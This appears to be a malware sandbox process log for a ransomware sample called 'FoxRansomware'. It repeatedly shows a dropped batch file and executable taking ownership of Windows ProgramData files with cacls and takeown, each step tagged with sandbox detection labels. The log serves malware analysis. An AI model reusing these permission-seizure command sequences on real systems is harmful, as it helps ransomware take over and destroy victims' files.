C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "NetworkPrinters.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "device.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "device.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "tasks.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "tasks.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Storage Health\StorageHealthModel.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Storage Health\StorageHealthModel.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Storage Health\StorageHealthModel.dat"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "StorageHealthModel.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "StorageHealthModel.dat" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win64.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2010Win64.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2010Win64.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2016Win64.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2016Win64.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.54de1be9-37bd-4b03-8e62-b8dcdc412ad8.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\WuProvider.54de1be9-37bd-4b03-8e62-b8dcdc412ad8.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.54de1be9-37bd-4b03-8e62-b8dcdc412ad8.1.etl"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "WuProvider.54de1be9-37bd-4b03-8e62-b8dcdc412ad8.1.etl" -nobanner3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\ThemeSettings2013.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "ThemeSettings2013.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "ThemeSettings2013.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "background.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "background.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.12598791-a2ab-471c-a39b-75871721f3a6.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.12598791-a2ab-471c-a39b-75871721f3a6.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.12598791-a2ab-471c-a39b-75871721f3a6.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MoUsoCoreWorker.12598791-a2ab-471c-a39b-75871721f3a6.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MoUsoCoreWorker.12598791-a2ab-471c-a39b-75871721f3a6.1.etl" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "behavior.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "behavior.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.f56dfeca-18d0-4e02-b9f9-e296868f1e13.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.f56dfeca-18d0-4e02-b9f9-e296868f1e13.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.f56dfeca-18d0-4e02-b9f9-e296868f1e13.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "NotificationUxBroker.f56dfeca-18d0-4e02-b9f9-e296868f1e13.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "NotificationUxBroker.f56dfeca-18d0-4e02-b9f9-e296868f1e13.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "OfficeIntegrator.ps1" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "OfficeIntegrator.ps1" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "DesktopSettings2013.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "DesktopSettings2013.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2013BackupWin32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2013BackupWin32.xml" -nobanner4⤵
-
-
-
